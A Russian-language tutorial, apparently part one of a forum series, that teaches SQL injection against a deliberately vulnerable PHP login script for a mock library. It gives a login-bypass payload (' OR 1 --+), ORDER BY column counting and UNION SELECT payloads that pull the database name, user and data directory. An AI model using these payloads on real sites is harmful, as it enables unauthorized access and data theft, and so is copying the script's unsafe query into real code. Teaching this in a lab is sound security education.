Суть SQL-инъекций
Наверное, уже слышали шутку из Интернета: «Почему во всех уроках рисования одно и тоже: Например, урок по рисованию совы. Сначала полчаса долго в деталях рисуем глаз совы. А потом — раз — за пять минут — рисуем оставшуюся часть совы».Вот даже картинка по этому поводу есть:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
По SQL-инжектам материала море: статьи, книги, видеокурсы (платные и бесплатные). При этом не многие из них прибавляют понимания по этому вопросу. Особенно если вы новичок. Я хорошо помню свои ощущения: вот он кружок, вот он остаток совы…
Цель этой заметки — натянуть глаз на сову дать нормальное просто объяснение, что же такое SQL-инъекции, в чём заключается их суть, насколько и почему они опасны.
Для опытов, у нас будет очень простой и уязвимый к SQL-инъекции скрипт:
HTML:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<h2>Для доступа к Бобруйской районной библиотеке введите Ваши учётные данные:</h2>
<form method="get" action="?">
<p>Введите ваше имя</p>
<input name="name" type="text">
<p>Введите ваш пароль</p>
<input name="password" type="text"><br />
<input type="submit">
</form>
<?php
$mysqli = new mysqli("localhost", "root", "", "db_library");
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
} else {
$mysqli->query("SET NAMES UTF8");
$mysqli->query("SET CHARACTER SET UTF8");
$mysqli->query("SET character_set_client = UTF8");
$mysqli->query("SET character_set_connection = UTF8");
$mysqli->query("SET character_set_results = UTF8");
}
$name = filter_input(INPUT_GET, 'name');
$password = filter_input(INPUT_GET, 'password');
if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = '$name' AND password = $password")) {
while ($obj = $result->fetch_object()) {
echo "<p><b>Ваше имя: </b> $obj->name</p>
<p><b>Ваш статус:</b> $obj->status</p>
<p><b>Доступные для Вас книги:</b> $obj->books</p><hr />";
}
} else {
printf("Ошибка: %s\n", $mysqli->error);
}
$mysqli->close();
?>
</body>
</html>
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
. В нём два файла: index.php и db_library.sql. Файл index.php разместите в любое место на сервере — это и есть наш уязвимый скрипт. А файл db_library.sql нужно импортировать, например, при помощи phpMyAdmin.В файл index.php в качестве имени пользователя базы данных задан root, а пароль — пустой. Вы можете вписать свои данные, отредактировав строчку:
Код:
$mysqli = new mysqli("localhost", "root", "", "db_library");
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Давайте введём их и посмотрим:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Наши учётные данные приняты, на экраны выведено наше имя, статус и доступные для нас книги. Можете попробовать, с любыми другими данными (если поменять имя или пароль) мы не сможем войти и посмотреть доступные для чтения книги. Также мы не можем узнать, какие книги доступны для остальных, поскольку мы не знаем их имени и пароля.
Подсмотрим в исходный код, чтобы понять, как произошёл запрос к базе данных:
Код:
SELECT * FROM `members` WHERE name = '$name' AND password ='$password
FROM говорит откуда их нужно получить. После FROM следует имя таблицы, т. е. запись FROM `members` говорит, получить из таблицы `members`.
Далее WHERE, если вы изучали какие-либо языки программирования, то это слово больше всего напоминает «Если». А дальше идут условия, эти условия могут быть истинными (1) или ложными (0). В нашем случае
(name = '$name') AND (password ='$password')
означает, что условие будет истинным, если переданная переменная $name будет равна значению поля name в таблице и переданная переменная '$password будет равна значению поля password в таблице. Если хотя бы одно условия не выполняется (неверное имя пользователя или пароль), то из таблицы ничего не будет взято., т. е. выражение SELECT * FROM `members` WHERE name = '$name' AND password ='$password' означает: в таблице `members` взять значения всех полей, если для них выполняется условие — совпадают переданное имя пользователя и пароль с теми, которые встречаются в таблице.
Это понятно. Давайте теперь, например, с именем пользователя подставим одиночную кавычку:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Адресная строка:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Никакие данные не получены, вместо них мы видим ошибку:
Код:
Ошибка: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '111'' at line 1
Код:
SELECT * FROM `members` WHERE name = 'Demo' AND password ='111'
Код:
SELECT * FROM `members` WHERE name = 'Demo' ' AND password ='111'
Код:
SELECT * FROM `members` WHERE name = 'Demo'
Код:
' AND password ='111'
Код:
SELECT * FROM `members` WHERE name = 'Demo' ' ' AND password ='111'
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Ошибка исчезла, но осмысленности это в запрос не добавило. Нам мешает бессмысленный хвост запроса. Как бы нам от него избавиться?
Ответ есть — это комментарии.
Комментарии в MySQL можно задать тремя способами:
# (решётка — работает до конца строки)— (два тире — работают до конца строки, нужен символ пробела после двух тире)
/* это комментарий */ группа из четырёх символов — всё, что внутри — это комментарий, всё, что до или после этой группы символов, не считается комментарием.
Давайте в наш запрос с одной кавычкой, после этой кавычки поставим знак комментария, чтобы отбросить хвостик, и знак +, который обозначает пробел, чтобы запрос получился таким:
Код:
SELECT * FROM `members` WHERE name = 'Demo' --+ ' AND password ='111'
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Ошибка не только исчезла, но и выведены корректные данные для пользователя Demo. Поскольку теперь наш запрос приобрёл вид
Код:
SELECT * FROM `members` WHERE name = 'Demo'
Посмотрите ещё раз внимательно на новый запрос:
Код:
SELECT * FROM `members` WHERE name = 'Demo'
К сожалению, я не знаю ни одного легитимного имени [Broken External Image]:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
и мне нужно придумать что-то другое.Посмотрим внимательно на эту часть запроса:
Код:
WHERE name = 'Demo'
Код:
WHERE name = 'Demo' OR 1
Т.е. нам нужно составить выражение, которое будет выгладить так:
Код:
SELECT * FROM `members` WHERE name = 'Demo' OR 1
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
' OR 1 —+ &password=111Результат:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Результат отличный! Мы получили список всех записей в таблице.
ORDER BY и UNION — главные друзья SQL-инъекций
Мы уже сейчас получили данные, которые были недоступны тем, у кого нет валидных имени пользователя и пароля. Можно ли что-то ещё получить? Да, можно получить полный дамп этой таблицы (напомню, у нас по прежнему нет паролей. Более того, мы можем получить все данные из всех баз на этом сервере через одну крошечную дырочку!UNION позволяет объединять SQL-запросы. В реальной жизни у меня задачи простые, поэтому и простые запросы к базам данных и возможностями UNION я не пользуюсь. Но вот для SQL-инъекций ценнее этого слова нет.
UNION позволяет довольно гибко объединять SQL-запросы с SELECT, в том числе и от разных баз данных. Но есть важное требование к синтаксису: количество столбцов в первом SELECT должно равняться количеству столбцов во втором SELECT.
ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка:
Адресная строка:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
' ORDER BY 1 —+ &password=111Запрос выглядит так:
Код:
SELECT * FROM `members` WHERE name = '-1' ORDER BY 1
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Ошибки нет, также нет ошибки и при запросах
Код:
SELECT * FROM `members` WHERE name = '-1' ORDER BY 2
SELECT * FROM `members` WHERE name = '-1' ORDER BY 3
SELECT * FROM `members` WHERE name = '-1' ORDER BY 4
SELECT * FROM `members` WHERE name = '-1' ORDER BY 5
Код:
SELECT * FROM `members` WHERE name = '-1' ORDER BY 6
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
' ORDER BY 6 —+ &password=111Выдал ошибку
Код:
Ошибка: Unknown column '6' in 'order clause'
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Это означает, что из таблицы выбираются данные по пяти колонкам.
Конструируем наш запрос с UNION:
Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL – тогда вместо поля ничего не будет выведено.
Код:
SELECT * FROM `members` WHERE name = '-1' UNION SELECT 1,2,3,4,5
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
' UNION SELECT 1,2,3,4,5 —+ &password=111Пробуем:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Другой способ нахождения количества столбцов — с помощью того же UNION. Лесенкой прибавляем количество столбцов:
Код:
SELECT * FROM `members` WHERE name = '-1' UNION SELECT 1
SELECT * FROM `members` WHERE name = '-1' UNION SELECT 1,2
SELECT * FROM `members` WHERE name = '-1' UNION SELECT 1,2,3
SELECT * FROM `members` WHERE name = '-1' UNION SELECT 1,2,3,4
Код:
Ошибка: The used SELECT statements have a different number of columns
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Делайте так пока не исчезнет сообщение об ошибке.
Обратите внимание, что содержимое некоторых полей UNION SELECT 1,2,3,4,5 выводится на экран. Вместо цифр можно задать функции.
Что писать в SELECT
Есть некоторые функции, которые можно писать непосредственно в UNION:
- DATABASE() — показать имя текущей базы данных
- CURRENT_USER() — показывает имя пользователя и имя хоста
- @@datadir — выводит абсолютный путь до базы данных
- USER() — имя пользователя
- VERSION() — версия базы данных
Используем DATABASE() в UNION SELECT
Адрес:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
' UNION SELECT 1,2,3,4,DATABASE() —+ &password=111Результат:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Используем CURRENT_USER() в UNION SELECT
Адрес:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
' UNION SELECT 1,2,3,4,CURRENT_USER() —+ &password=111Результат:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Используем @@datadir в UNION SELECT
Адрес:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
' UNION SELECT 1,2,3,4,@@datadir —+ &password=111Результат:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Получение имён таблицы, полей и дамп базы данных
В базе данных information_schema есть таблица, которая называется tables. В этой таблице содержится список всех таблиц, которые присутствуют во всех базах данных этого сервера. Мы можем отобрать наши таблицы, ища в поле table_schema название нашей базы данных — 'db_library' (имя мы узнали с помощью DATABASE()).Это называется полная техника UNION. Материала по ней предостаточно в Интернете. На моём же MySQL сервере полная техника UNION не работает. У меня появляется ошибка
Код:
Ошибка: Illegal mix of collations for operation 'UNION'
Код:
something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
В следующей части статьи мы изучим частичную технику UNION, с её помощью мы получим все данные на сервере: имена баз данных, имена их таблиц и полей в этих таблицах, а также их содержимое.